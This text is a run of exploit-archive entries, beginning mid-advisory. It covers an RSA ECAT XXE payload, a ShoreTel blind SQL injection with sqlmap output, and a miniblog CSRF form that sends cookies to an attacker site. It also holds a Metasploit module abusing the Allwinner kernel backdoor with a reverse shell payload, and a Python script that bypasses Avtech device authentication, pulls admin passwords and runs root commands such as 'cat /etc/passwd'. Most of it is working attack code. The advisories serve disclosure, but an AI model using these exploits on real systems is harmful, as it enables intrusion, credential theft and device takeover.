ultimately, reduce IP theft, fraud, and cybercrime."

Source: https://www.rsa.com/en-us/company/about


Business recommendation:
------------------------
By exploiting the XXE vulnerability, an attacker can get read access to the
filesystem of the user's system using RSA ECAT client and thus obtain sensitive
information from the system. It is also possible to scan ports of the internal
hosts and cause DoS on the affected host.

SEC Consult recommends not to use the product until a thorough security
review has been performed by security professionals and all identified
issues have been resolved.


Vulnerability overview/description:
-----------------------------------
1) XML External Entity Injection
The used XML parser is resolving external XML entities which allows attackers
to read files and send requests to systems on the internal network (e.g port
scanning). The vulnerability can be exploited by tricking the user of
the application to import a whitelisting file with malicious XML code.


Proof of concept:
-----------------
1) XML External Entity Injection (XXE)

The RSA ECAT client allows users to import whitelisting files in XML format.
By tricking the user to import an XML file with malicious XML code to the
application, it's possible to exploit an XXE vulnerability within the application.

For example by importing the following XML code, arbitrary files can be read
from the client's system. The following code generates the connection request
from the client system to attacker system.

===============================================================================
<?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "http://[IP:port]/" >]><foo>&xxe;</foo>
===============================================================================

IP:port = IP address and port where the attacker is listening for connections

Furthermore some files can be exfiltrated to remote servers via the
techniques described in:

https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-wp.pdf
http://vsecurity.com/download/papers/XMLDTDEntityAttacks.pdf


Vulnerable / tested versions:
-----------------------------
The XXE vulnerability has been verified to exist in the RSA ECAT software
version 4.1.0.1 which was the latest version available at the time of
discovery.


Vendor contact timeline:
------------------------
2016-04-28: Vulnerabilities reported to the vendor by 3rd party
2016-06-23: Fixed by vendor in version 4.1.2 (ECAT-5972)
2016-10-11: SEC Consult releases security advisory


Solution:
---------
Update to version 4.1.2.0


Workaround:
-----------
None


Advisory URL:
-------------
https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

SEC Consult
Bangkok - Berlin - Linz - Montreal - Moscow
Singapore - Vienna (HQ) - Vilnius - Zurich

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://www.sec-consult.com/en/Career.htm

Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://www.sec-consult.com/en/About/Contact.htm
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult

EOF S. Singh / @2016
            
# Exploit Title: ShoreTel Connect ONSITE Blind SQL Injection Vulnerability
# Date: 19-09-2016
# Software Link:
https://www.shoretel.com/resource-center/shoretel-connect-onsite-overview
# Exploit Author: Iraklis Mathiopoulos
# Contact: https://twitter.com/_imath_
# Website: https://medium.com/@iraklis
# Category: webapps

1. Description

Versions of ShoreTel Connect ONSITE prior and including 21.79.4311.0
are vulnerable to a Blind SQL Injection in /authenticate.php, on the webserver
that is running the Conference system.

Specifically, the POST parameter "username" is not sanitised prior to being used
in SQL Queries. Using test'%20and%20(select*from(select(sleep(35)))a)--%20
for the username value the server will respond after approximately 35 seconds.

No authentication is needed in order to exploit the vulnerability as the issue
resides in the pre-authentication realm of the system.


2. Proof of Concept

req.burp:
---
POST https://[REDACTED].com/authenticate.php HTTP/1.1
Host: [REDACTED].com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0)
Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://[REDACTED].com/signin.php?ret=index.php&brand=1&brandUrl=index.php&rand=377311852
Cookie: PHPSESSID=fd3eb46033541487cce7774b917c655d
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 197

password=cc03e747a6afbbcbf8be7668acfebee5&password64=dGVzdDEyMw%3D%3D&redirect=&redirectOnFail=&ticketAsQuery=1&expiry=43200&flashlogin=&ParticipantCode=&username=test123&vpassword=&SUBMIT1=Sign+In
- ---

root@kali:~/projects# sqlmap -r req.burp -p username --dbms=mysql
--technique=T --time-sec=10  --level=5 --risk=3 --current-db
         _
 ___ ___| |_____ ___ ___  {1.0-dev-nongit-201607120a89}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org


[*] starting at 19:59:34

[19:59:34] [INFO] parsing HTTP request from 'req.burp'
[19:59:34] [INFO] testing connection to the target URL
[19:59:42] [INFO] checking if the target is protected by some kind of
WAF/IPS/IDS
sqlmap resumed the following injection point(s) from stored session:
- ---
Parameter: username (POST)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: password=cc03e747a6afbbcbf8be7668acfebee5&password64=dGVzdDEyMw==&redirect=&redirectOnFail=&ticketAsQuery=1&expiry=43200&flashlogin=&ParticipantCode=&username=test123'
AND (SELECT * FROM (SELECT(SLEEP(10)))Qlhs) AND 'jIev' LIKE
'jIev&vpassword=&SUBMIT1=Sign In
- ---
[19:59:54] [INFO] testing MySQL
[20:02:25] [INFO] confirming MySQL
[20:03:12] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.0.0
[20:03:12] [INFO] fetching current database
[20:03:12] [INFO] retrieved: [REDACTED]
current database:    '[REDACTED]'
[20:21:10] [INFO] fetched data logged to text files under
'/root/.sqlmap/output/[REDACTED].com'

[*] shutting down at 20:21:10

3. Solution:

Install the latest version of ShoreTel Connect ONSITE
https://support.shoretel.com/kb/view.php?id=kA41A000000XgL6SAK

Related ShoreTel security bulletin:
https://support.shoretel.com/kb/view.php?id=kA41A000000XgL6SAK
            
# Exploit Title :              miniblog 1.0.1 - Cross-Site Request Forgery (Add New Post)
# Author :                     Besim
# Google Dork :                
# Date :                       09/10/2016
# Type :                       webapps
# Platform :                   PHP
# Vendor Homepage :  http://www.spyka.net/scripts/php/miniblog
# Software link :
http://dl.spyka.co.uk/scripts/php/miniblog-1-0-1.zip


Description (admin login required) : 

miniblog 1.0.1 versions is vulnerable to CSRF attack, adding, delete and
edit article in the sections

Vulnerable page : http://localhost:8081/miniblog/*adm/admin.php?mode=add

Dangerous point : if used with XSS can be steal on the admin's cookie information.


*############### CSRF PoC ###############*


<html> <!-- CSRF PoC --> <body> <form action="
http://localhost:8081/miniblog/adm/admin.php?mode=add&id=%3Cbr%20/%3E%3Cb%3ENotice%3C/b%3E:%20%20Undefined%20variable:%20post%20in%20%3Cb%3EC:\xampp\htdocs\miniblog\adm\edit.php%3C/b%3E%20on%20line%20%3Cb%3E8%3C/b%3E%3Cbr%20/%3E"
method="POST"> <input type="hidden" name="data&#91;post&#95;title&#93;"
value="<script>location&#46;href&#32;&#61;&#32;â&#128;&#152;http&#58;&#47;&#47;www&#46;attackersite&#46;com&#47;stealer&#46;php&#63;cookie&#61;â&#128;&#153;&#43;document&#46;cookie&#59;<&#47;script>"
/> <input type="hidden" name="data&#91;post&#95;content&#93;"
value="tester" /> <input type="hidden" name="data&#91;published&#93;"
value="1" /> <input type="hidden" name="miniblog&#95;PostBack" value="Add"
/> <input type="submit" value="Submit request" /> </form> <script>
document.forms[0].submit(); </script> </body> </html>



########################################
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require "msf/core"

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Linux::Priv
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
        "Name"           => "Allwinner 3.4 Legacy Kernel Local Privilege Escalation",
        "Description"    => %q{
          This module attempts to exploit a debug backdoor privilege escalation in
          Allwinner SoC based devices.
          Vulnerable Allwinner SoC chips: H3, A83T or H8 which rely on Kernel 3.4
          Vulnerable OS: all OS images available for Orange Pis,
                         any for FriendlyARM's NanoPi M1,
                         SinoVoip's M2+ and M3,
                         Cuebietech's Cubietruck +
                         Linksprite's pcDuino8 Uno
          Exploitation may be possible against Dragon (x10) and Allwinner Android tablets
        },
        "License"        => MSF_LICENSE,
        "Author"         =>
          [
            "h00die <mike@stcyrsecurity.com>",  # Module
            "KotCzarny"                         # Discovery
          ],
        "Platform"       => [ "android", "linux" ],
        "DisclosureDate" => "Apr 30 2016",
        "DefaultOptions" => {
          "payload" => "linux/armle/mettle/reverse_tcp"
        },
        "Privileged"     => true,
        "Arch"           => ARCH_ARMLE,
        "References"     =>
          [
            [ "URL", "http://forum.armbian.com/index.php/topic/1108-security-alert-for-allwinner-sun8i-h3a83th8/"],
            [ "URL", "https://webcache.googleusercontent.com/search?q=cache:l2QYVUcDflkJ:" \
                     "https://github.com/allwinner-zh/linux-3.4-sunxi/blob/master/arch/arm/mach-sunxi/sunxi-debug.c+&cd=3&hl=en&ct=clnk&gl=us"],
            [ "URL", "http://irclog.whitequark.org/linux-sunxi/2016-04-29#16314390"]
          ],
        "SessionTypes"   => [ "shell", "meterpreter" ],
        'Targets'        =>
          [
            [ 'Auto',           { } ]
          ],
        'DefaultTarget'  => 0,
      ))
  end

  def check
    backdoor = '/proc/sunxi_debug/sunxi_debug'
    if file_exist?(backdoor)
      Exploit::CheckCode::Appears
    else
      Exploit::CheckCode::Safe
    end
  end

  def exploit
    backdoor = '/proc/sunxi_debug/sunxi_debug'
    if file_exist?(backdoor)
      pl = generate_payload_exe

      exe_file = "/tmp/#{rand_text_alpha(5)}.elf"
      vprint_good "Backdoor Found, writing payload to #{exe_file}"
      write_file(exe_file, pl)
      cmd_exec("chmod +x #{exe_file}")

      vprint_good 'Escalating'
      cmd_exec("echo rootmydevice > #{backdoor}; #{exe_file}")
    else
      print_error "Backdoor #{backdoor} not found."
    end
  end
end
            
'''
Avtech devices multiple vulnerabilities
--------------------------------------------------

Platforms / Firmware confirmed affected:
- Every Avtech device (IP camera, NVR, DVR) and firmware version. [4]
contains the list of confirmed firmware versions, which are affected.
- Product page: http://www.avtech.com.tw/

ôAVTECH, founded in 1996, is one of the worldÆs leading CCTV
manufacturers. With stably increasing revenue and practical business
running philosophy, AVTECH has been ranked as the largest public-listed
company among the Taiwan surveillance industry. AVTECH makes every
effort on the innovation of technology, product and implementation.
Based on years of research and industry experience, AVTECH has obtained
a leading position on mobile platform support and provides a full range
of surveillance products.ö

Avtech is the second most popular search term in Shodan. According to
Shodan, more than 130.000 Avtech devices are exposed to the internet.

Vulnerabilities
---------------
1) Plaintext storage of administrative password
Every user password is stored in clear text. An attacker with access to
the device itself can easily obtain the full list of passwords. By
exploiting command injection or authentication bypass issues, the clear
text admin password can be retrieved.

2) Missing CSRF protection
The web interface does not use any CSRF protection. If a valid session
exists for the user, the attacker can modify all settings of the device
via CSRF. If there is no valid session, but the user did not change the
default admin password, the attacker can log in as admin via CSRF as well.

3) Unauthenticated information disclosure
Under the /cgi-bin/nobody folder every CGI script can be accessed
without authentication.
POC: GET /cgi-bin/nobody/Machine.cgi?action=get_capability
Example response:
Firmware.Version=1011-1005-1008-1002
MACAddress=00:0E:53:xx:xx:xx
Product.Type=DVR
Product.ID=308B
Product.ShortName=V_full_Indep,V_Multistream
Video.System=PAL
Audio.DownloadFormat=ULAW
Video.Input.Num=8
Video.Output.Num=1
Video.Format=H264,MJPEG
Video.Format.Default=H264
Video.Resolution=4CIF,CIF
Video.Quality=BEST,HIGH,NORMAL,BASIC
Video.Local.Input.Num=8
Video.Local.Output.Num=1
Video.Local.Format=H264,MJPEG
Audio.Input.Num=8
Audio.Output.Num=1
Audio.Format=ULAW
Audio.Local.Input.Num=8
Audio.Local.Output.Num=1
Audio.Local.Format=PCM
Language.Default=ENGLISH
Language.Support=ENGLISH&CHINESE&JAPANESE&FRANCE&GERMAN&SPANISH&PORTUGUESE&ITALIAN&TURKISH&POLISH&RUSSIAN&CUSTOMIZE&THAI
&VIETNAM&DUTCH&GREEK&ARABIC&CZECH&HUNGARIAN&HEBREW&CHINA&
Capability=D0,80,A,80
PushNotify.MaxChannel=8

4) Unauthenticated SSRF in DVR devices
In case of DVR devices, Search.cgi can be accessed without
authentication. This service is responsible for searching and accessing
IP cameras in the local network. In newer firmware versions, Search.cgi
provides the cgi_query action, which performs an HTTP request with the
specified parameters. By modifying the ip, port and queryb64str
parameters, an attacker is able to perform arbitrary HTTP requests
through the DVR device without authentication.
POC:
http://<device_ip>/cgi-bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=Lw==

5) Unauthenticated command injection in DVR devices
The cgi_query action in Search.cgi performs HTML requests with the wget
system command, which uses the received parameters without sanitization
or verification. By exploiting this issue, an attacker can execute any
system command with root privileges without authentication.
POC:
http://<device_ip>/cgi-bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=LW==&username=admin%20;XmlAp%20r%20Account.User1.Password>$(ps|grep%20Search.cgi|grep%20-v%20grep|head%20-n%201|awk%20'{print%20"/tmp/"$1".log"}');&password=admin

6) Authentication bypass #1
Video player plugins are stored as .cab files in the web root, which can
be accessed and downloaded without authentication. The cab file request
verification in the streamd web server is performed with the strstr
function, which means that a request should not be authenticated if it
contains the ô.cabö string anywhere in the URL. We note that some of the
models contain an additional check in the CgiDaemon, which allows
unauthenticated cgi access only under the /cgi-bin/nobody folder.
POC:
http://<device_ip>/cgi-bin/user/Config.cgi?.cab&action=get&category=Account.*

7) Authentication bypass #2
Cgi scripts in the /cgi-bin/nobody folder can be accessed without
authentication (e.g. for login). The streamd web server verifies whether
the request can be performed without authentication by searching for the
ô/nobodyö string in the URL with  the strstr function. Thus, if a
request contains the "/nobody" string anywhere in the URL, it does not
have to be authenticated. We note that some of the models contain an
additional check in the CgiDaemon, which allows unauthenticated cgi
access only under the /cgi-bin/nobody folder.
POC:
http://<device_ip>/cgi-bin/user/Config.cgi?/nobody&action=get&category=Account.*

8) Unauthenticated file download from web root
If a cab file is requested, the web server sends the file without
processing it. Because the streamd web server verifies the cab file
request by searching for the ô.cabö string in the URL with the strstr
function, any file (even the cgi scripts) in the web root can be
downloaded without authentication.
POC: http://<device_ip>/cgi-bin/cgibox?.cab

9) Login captcha bypass #1
To prevent brute-forcing attempts, Avtech devices require a captcha for
login requests. However, if the login requests contain the login=quick
parameter, the captcha verification is bypassed.
POC:
http://<device_ip>/cgi-bin/nobody/VerifyCode.cgi?account=<b64(username:password)>&login=quick

10) Login captcha bypass #2
Instead of using a random session ID, Avtech devices use the
base64-encoded username and password as the Cookie value. Since the IP
address of the logged in user is not stored, if an attacker sets the
Cookie manually, the captcha verification can by bypassed easily.

11) Authenticated command injection in CloudSetup.cgi
Devices that support the Avtech cloud contain CloudSetup.cgi, which can
be accessed after authentication. The exefile parameter of a
CloudSetup.cgi request specifies the system command to be executed.
Since there is no verification or white list-based checking of the
exefile parameter, an attacker can execute arbitrary system commands
with root privileges.
POC: http://<device_ip>/cgi-bin/supervisor/CloudSetup.cgi?exefile=ps

12) Authenticated command injection in adcommand.cgi
Some of the Avtech devices contain adcommand.cgi to perform ActionD
commands. The adcommand.cgi can be accessed after authentication. In
newer devices the ActionD daemon provides the DoShellCmd function, which
performs a system call with the specified parameters. Since there is no
verification or white list-based checking of the parameter of the
DoShellCmd function, an attacker can execute arbitrary system commands
with root privileges.
POC:
POST /cgi-bin/supervisor/adcommand.cgi HTTP/1.1
Host: <device_ip>
Content-Length: 23
Cookie: SSID=YWRtaW46YWRtaW4=

DoShellCmd "strCmd=ps&"

13) Authenticated command injection in PwdGrp.cgi
The PwdGrp.cgi uses the username, password and group parameters in a new
user creation or modification request in a system command without
validation or sanitization. Thus and attacker can execute arbitrary
system commands with root privileges.
We are aware that this vulnerability is being exploited in the wild!
POC:
http://<device_ip>/cgi-bin/supervisor/PwdGrp.cgi?action=add&user=test&pwd=;reboot;&grp=SUPERVISOR&lifetime=5%20MIN

14) HTTPS used without certificate verification
The SyncCloudAccount.sh, QueryFromClient.sh and SyncPermit.sh scripts
use wget to access HTTPS sites, such as https://payment.eagleeyes.tw, by
specifying the no-check-certificate parameter. Thus wget skips server
certificate verification and a MITM attack is possible against the HTTPS
communication.

Timeline
2015.10.19: First attempt to contact with Avtech, but we did not receive
any response
2016.05.24: Second attempt to contact Avtech without any response
2016.05.27: Third attempt to contact Avtech by sending e-mail to public
Avtech e-mail addresses. We did not receive any response.
2016.xx.xx: Full disclosure

POC
---
POC script is available to demonstrate the following problems [3]:
- Unauthenticated information leakage (capabilities)
- Authentication bypass (.cab, nobody)
- Unauthenticated SSRF on DVR devices
- Unauthenticated command injection on DVR devices
- Login captcha bypass with login=quick or manual cookie creation
- CloudSetup.cgi command injection after authentication
- adcommand.cgi command injection after authentication

A video demonstration is also available [1], which presents some of the
above problems.

Recommendations
---------------
Unfortunately there is no solution available for these vulnerabilities
at the moment. You can take the following steps to protect your device:
- Change the default admin password
- Never expose the web interface of any Avtech device to the internet

We note that the above vulnerabilities were found within a short period
of time without a systematic approach. Based on the vulnerability types
we found and the overall code quality, the devices should contain much
more problems.

Credits
-------
This vulnerability was discovered and researched by Gergely Eberhardt
(@ebux25) from SEARCH-LAB Ltd. (www.search-lab.hu)

References
----------
[1]
https://www.search-lab.hu/advisories/126-avtech-devices-multiple-vulnerabilities
<http://www.search-lab.hu/advisories/126-avtech-devices-multiple-vulnerabilities>
[2] https://youtu.be/BUx8nLlIMxI
[3] https://github.com/ebux/AVTECH
[4] http://www.search-lab.hu/media/vulnerability_matrix.txt
'''

#
# POC code for Technicolor Avtech devices
#
# Demonstrates the following vulnerabilities
#  - Unauthenticated information leakage (capabilities)
#  - Authentication bypass (.cab, nobody)
#  - Unauthenticated SSRF on DVR devices
#  - Unauthenticated command injection on DVR devices
#  - Login captcha bypass with login=quick or manual cookie creation
#  - CloudSetup.cgi command injection after authentication
#  - adcommand.cgi command injection after authentication
#
# Credit: Gergely Eberhardt (@ebux25) from SEARCH-LAB Ltd. (www.search-lab.hu)
#
# Advisory: http://search-lab.hu/...

import sys
import requests
import base64

class avtech:
    AVTECH_BYP_NONE = 0
    AVTECH_BYP_CAB = 1
    AVTECH_BYP_NOBODY = 2

    def __init__(self, addr, port):
        self.addr = addr
        self.port = port
        self.s = requests.Session()
        self.auth = False
        self.authbyp_str = {self.AVTECH_BYP_NONE:'', self.AVTECH_BYP_CAB:'.cab&', self.AVTECH_BYP_NOBODY:'/nobody&'}
        self.authbyp = self.AVTECH_BYP_NONE
        self.username = ''
        self.password = ''

        self.cabbyp = False
        self.nobodybyp = False
        self.firmware_version = ''
        self.product_type = ''
        self.product_id = ''
        self.mac_address = ''

    def getUri(self, uri, param, bypass=False):
        if (bypass):
            return 'http://%s:%d/%s?%s%s'%(self.addr, self.port, uri, self.authbyp_str[self.authbyp], param)
        else:
            return 'http://%s:%d/%s?%s'%(self.addr, self.port, uri, param)

    def setPwd(self, usr, pwd):
        self.username = usr
        self.password = pwd

    # creates a valid cookie without logging in
    def setCookie(self):
        self.s.cookies['SSID'] = base64.b64encode('%s:%s'%(self.username,self.password))
        self.auth = True

    # performs authentication with the provided user name and password using
    # the login=quick parameter, which bypass the captcha verification
    def login(self):
        self.s = requests.Session()
        r = self.s.get(self.getUri('/cgi-bin/nobody/VerifyCode.cgi', 'account=%s&login=quick'%(base64.b64encode('%s:%s'%(self.username,self.password)))))
        res = r.text.split()
        if (int(res[0]) == -35):
            #print 'Authentication failed with %s:%s'%(self.username,self.password)
            return False
        if (int(res[0]) == 0):
            #print 'Authentication succeeded with %s:%s'%(self.username,self.password)
            self.auth = True
            return True
        #else:
        #    print 'Unknown response code: %d'%(int(res[0]))
        return False

    # verifies whether the authentication bypass is working .cab or /nobody problem
    def checkBypass(self):
        if (self.auth):
            return 'Session is already authenticated, you do not have to bypass!'
        ret = ''
        greq = '&action=get&category=Account.*'
        # .cab check
        try:
            r = self.s.get(self.getUri('/cgi-bin/user/Config.cgi','.cab%s'%(greq)))
            if (len(r.text) > 0 and r.text[0] == '0'):
                ret += '.cab authentication bypass was successful, '
                self.authbyp = self.AVTECH_BYP_CAB
                self.cabbyp = True
        except:
            ret += '.cab authentication bypass was not successful, '

        # /nobody check
        try:
            r = self.s.get(self.getUri('/cgi-bin/user/Config.cgi','/nobody%s'%(greq)))
            if (len(r.text) > 0 and r.text[0] == '0'):
                ret += '/nobody authentication bypass was successful'
                self.nobodybyp = True
                if (self.authbyp == self.AVTECH_BYP_NONE):
                    self.authbyp = self.AVTECH_BYP_NOBODY
        except:
            ret += '/nobody authentication bypass was not successful'
        return ret

    # retrieves account information after authentication
    def getAdminPwd(self):
        r = self.s.get(self.getUri('/cgi-bin/user/Config.cgi','action=get&category=Account.*', True))
        for l in r.text.split():
            lp = l.split('=')
            if (len(lp) == 2):
                if (lp[0] == 'Account.User1.Username'):
                    self.username = lp[1]
                elif (lp[0] == 'Account.User1.Password'):
                    self.password = lp[1]
                    break
                if (lp[0] == 'Account.User2.Username'):
                    self.username = lp[1]
                elif (lp[0] == 'Account.User2.Password'):
                    self.password = lp[1]
                    break
                if (lp[0] == 'Account.User3.Username'):
                    self.username = lp[1]
                elif (lp[0] == 'Account.User3.Password'):
                    self.password = lp[1]
                    break

    # retrieves firmware version after authentication
    def getFwVersion(self):
        r = self.s.get(self.getUri('/cgi-bin/user/Config.cgi','action=get&category=Properties.Firmware.*', False))
        print r.text

    # retrieves login response after authentication
    def getLogin(self):
        r = self.s.get(self.getUri('/cgi-bin/guest/Login.cgi','rnd=0.5', False))
        print r.text

    # CloudSetup.cgi command injection test
    def commandInjection(self, cmd):
        try:
            r = self.s.get(self.getUri('/cgi-bin/supervisor/CloudSetup.cgi','exefile=%s'%(cmd), False))
            return r.text
        except:
            print 'CloudSetup.cgi command injection test failed'

    # adcommand.cgi command injection test
    def commandInjection2(self, cmd):
        data = 'DoShellCmd "strCmd=%s&"'%(cmd)
        r = self.s.post(self.getUri('/cgi-bin/supervisor/adcommand.cgi','', False), data=data)
        return r.text

    # parses capability response
    def parseCapability(self, cap):
        for l in cap.split('\n'):
            ld = l.strip().split('=')
            if (len(ld)==2):
                if (ld[0] == 'Firmware.Version'):
                    self.firmware_version = ld[1]
                elif (ld[0] == 'Product.Type'):
                    self.product_type = ld[1]
                elif (ld[0] == 'Product.ID'):
                    self.product_id = ld[1]
                elif (ld[0] == 'MACAddress'):
                    self.mac_address = ld[1]

    # unauthenticated information leakage
    def getCapability(self):
        r = self.s.get(self.getUri('/cgi-bin/nobody/Machine.cgi','action=get_capability', False))
        self.parseCapability(r.text)
        return r.text

    # checks the availability of search.cgi (available only on DVR devices)
    def checkSearch(self):
        try:
            r = self.s.get(self.getUri('/cgi-bin/nobody/Search.cgi','action=scan', False))
            return r.text
        except:
            return ''

    # unauthenticated SSRF using the search.cgi script (available only on DVR devices)
    def checkCgiQuery(self):
        try:
            r = self.s.get(self.getUri('/cgi-bin/nobody/Search.cgi','action=cgi_query&ip=google.com&port=80&queryb64str=Lw==', False))
            if (len(r.text)>=4 and r.text[0:4] == '0\nOK'):
                return True
            else:
                return False
        except:
            return False

    # unauthenticated command injection in the search.cgi script (available only on DVR devices)
    def searchCmdInjection(self, command):
        cmdstr = (' ;%s>$(ps|grep Search.cgi|grep -v grep|head -n 1|awk \'{print "/tmp/"$1".log"}\';)'%(command)).replace(' ', '%20')
        uri = self.getUri('cgi-bin/nobody/Search.cgi','action=cgi_query&ip=google.com&port=80&queryb64str=Lw==&username=admin%s&password=admin'%(cmdstr),False)
        print uri
        r = self.s.get(uri)
        return r.text

#------------------------------------

if __name__ == '__main__':
    if (len(sys.argv) < 2):
        print 'avtech_nas_pc.py addr [port]'
    addr = sys.argv[1]
    port = 80
    if (len(sys.argv) == 3):
        port = int(sys.argv[2])

    avtech = avtech(addr, port)

    # unatuhenticated information disclosure
    cap = avtech.getCapability()
    print cap
    avtech.parseCapability(cap)
    print '%s,%s,%s,%s'%(avtech.firmware_version, avtech.product_type, avtech.product_id, avtech.mac_address)

    # check unauthenticated SSRF vulnerability
    sr = avtech.checkSearch()
    if (len(sr) > 0 and sr[0] == '0'):
        cgi_query = avtech.checkCgiQuery()
        if (cgi_query):
            print 'SSRF was successful'
        else:
            print 'SSRF was not successful'

        resp = avtech.searchCmdInjection('XmlAp r Account.User1.Username')
        lines = resp.split('\n')
        if (len(lines) >= 3):
            pwd = lines[2].strip()
            print 'User1 name: %s'%(pwd)
            avtech.username = pwd

        resp = avtech.searchCmdInjection('XmlAp r Account.User1.Password')
        lines = resp.split('\n')
        if (len(lines) >= 3):
            pwd = lines[2].strip()
            print 'User1 password: %s'%(pwd)
            avtech.password = pwd

    # authentication bypas
    print 'Authentication bypass check'
    print avtech.checkBypass()
    print 'Try to get admin password'
    print avtech.getAdminPwd()
    default = False
    # try default password
    if (avtech.password == ''):
        avtech.setPwd('admin', 'admin')
        default = True
    # login with credentials using captch bypass
    avtech.login()
    # if captch bypass was not possible, but we have a password, set cookie manually
    if (not avtech.auth and not default and avtech.password != ''):
        avtech.setCookie()

    # check issues after authentication
    if (avtech.auth):
        print 'Get admin password'
        avtech.getAdminPwd()
        print 'Get login'
        avtech.getLogin()
        print 'Get fw version'
        avtech.getFwVersion()
        print 'cloud command injection'
        print avtech.commandInjection('ps')
        print 'adcommand command injection'
        print avtech.commandInjection2('cat /etc/passwd')